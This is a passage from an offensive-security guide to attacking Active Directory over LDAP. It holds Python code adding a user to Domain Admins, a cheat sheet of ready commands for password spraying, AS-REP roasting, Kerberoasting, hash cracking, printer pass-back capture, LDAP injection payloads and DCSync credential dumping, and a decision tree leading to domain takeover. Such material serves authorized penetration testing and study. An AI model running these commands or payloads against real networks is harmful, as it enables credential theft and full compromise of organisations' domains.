conn.modify('CN=targetuser,CN=Users,DC=domain,DC=local',
{'description': [('MODIFY_REPLACE', ['new value'])]})
# Add user to group (if GenericAll/Write on group)
conn.modify('CN=Domain Admins,CN=Users,DC=domain,DC=local',
{'member': [('MODIFY_ADD', ['CN=youruser,CN=Users,DC=domain,DC=local'])]})
print(conn.result)
16. Master Cheat Sheet
Tool Selection
DISCOVERY:
──────────────────────────────────────────────────────────────────────
Find LDAP ports? → nmap -p 389,636,3268,3269 -sV <IP>
Get domain base DN? → ldapsearch -x -H ldap://<IP> -s base namingContexts
Check anonymous bind? → ldapsearch -x -H ldap://<IP> -b "DC=x,DC=y"
Host info + signing? → crackmapexec ldap <IP>
ENUMERATION:
──────────────────────────────────────────────────────────────────────
Quick full dump? → ldapdomaindump -u "DOM\user" -p pass <IP> -o /tmp/out/
All users + attributes? → windapsearch --dc-ip <IP> -u user@dom -p pass -m users --full
Shadow admins? → windapsearch ... -m privileged-users
Kerberoastable? → windapsearch ... -m kerberoastable-users
AS-REP roastable? → crackmapexec ldap <IP> -u user -p pass --asreproast out.txt
Passwords in description? → crackmapexec ldap <IP> -u user -p pass -M get-desc-users
LAPS passwords? → crackmapexec ldap <IP> -u user -p pass -M laps
AD attack paths? → bloodhound-python -d domain.local -u user -p pass -ns <DC> -c all
Custom filter? → ldapsearch -H ldap://<IP> -D user@dom -w pass -b basedn "FILTER"
ATTACKS:
──────────────────────────────────────────────────────────────────────
Password spray (safe)? → crackmapexec ldap <IP> -u users.txt -p "Pass123" --continue-on-success
AS-REP roast (no creds)? → impacket-GetNPUsers dom/ -usersfile users.txt -no-pass -dc-ip <IP>
Kerberoast? → impacket-GetUserSPNs dom/user:pass -dc-ip <IP> -request -outputfile out.txt
Crack TGS (RC4)? → hashcat -m 13100 kerb.txt rockyou.txt
Crack AS-REP? → hashcat -m 18200 asrep.txt rockyou.txt
Pass-back (printer)? → nc -lvnp 389 → set printer LDAP server to your IP
LDAP injection (web)? → username=* or username=admin)(&)
GenericAll on user? → impacket-changepasswd / Set-DomainUserPassword
DCSync (WriteDACL)? → Add-DomainObjectAcl -Rights DCSync → impacket-secretsdump
Essential LDAP Filters
# Object type filters:
"(objectClass=user)"
"(objectClass=computer)"
"(objectClass=group)"
"(objectClass=organizationalUnit)"
# userAccountControl bit filters:
# Disabled accounts (bit 2):
"(userAccountControl:1.2.840.113556.1.4.803:=2)"
# Password never expires (bit 65536):
"(userAccountControl:1.2.840.113556.1.4.803:=65536)"
# No preauth / AS-REP roastable (bit 4194304):
"(userAccountControl:1.2.840.113556.1.4.803:=4194304)"
# No password required (bit 32):
"(userAccountControl:1.2.840.113556.1.4.803:=32)"
# Compound filters:
# Enabled Kerberoastable accounts:
"(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
# Enabled admin accounts:
"(&(objectClass=user)(adminCount=1)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
# Members of specific group:
"(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))"
# Passwords in any text field:
"(|(description=*pass*)(info=*pass*)(comment=*pass*))"
Attack Decision Tree
Got LDAP open (port 389/636)?
│
├── Anonymous bind works?
│ ├── YES → dump users, groups, password policy
│ │ check for DONT_REQ_PREAUTH → AS-REP roast without creds
│ └── NO → need credentials first
│
├── Have valid credentials?
│ ├── ldapdomaindump → full offline AD browse
│ ├── windapsearch -m privileged-users → shadow admins
│ ├── bloodhound-python -c all → map all attack paths
│ ├── Hunt description fields → crackmapexec -M get-desc-users
│ ├── AS-REP roast → impacket-GetNPUsers
│ └── Kerberoast → impacket-GetUserSPNs -request
│
├── Found printer/MFP with LDAP config?
│ └── Pass-back → rogue LDAP (nc -lvnp 389) → capture service creds
│
├── Found web app with LDAP auth?
│ └── LDAP injection → username: * or admin)(&)
│
├── BloodHound shows ACL path to DA?
│ ├── GenericAll on User → change password (impacket-changepasswd)
│ ├── GenericAll on Group → add self (net rpc group addmem)
│ ├── WriteDACL → grant DCSync → impacket-secretsdump
│ └── ForceChangePassword → rpcclient setuserinfo2
│
└── Cracked a service account (Kerberoast)?
├── Check reuse on SMB / WinRM / RDP
├── Check group memberships in BloodHound
└── Re-run BloodHound with new account → find new paths
Port Reference
| Port | Protocol | Description |
|---|---|---|
| 389/TCP | LDAP | Standard — plaintext (sniffable!) |
| 636/TCP | LDAPS | LDAP over TLS — encrypted |
| 3268/TCP | LDAP GC | Global Catalog — cross-domain |
| 3269/TCP | LDAPS GC | Global Catalog over TLS |
| 88/TCP | Kerberos | Tied to LDAP — Kerberoast/AS-REP |
| 445/TCP | SMB | Use alongside LDAP for full AD enum |
| 5985/TCP | WinRM | Shell access after cred capture |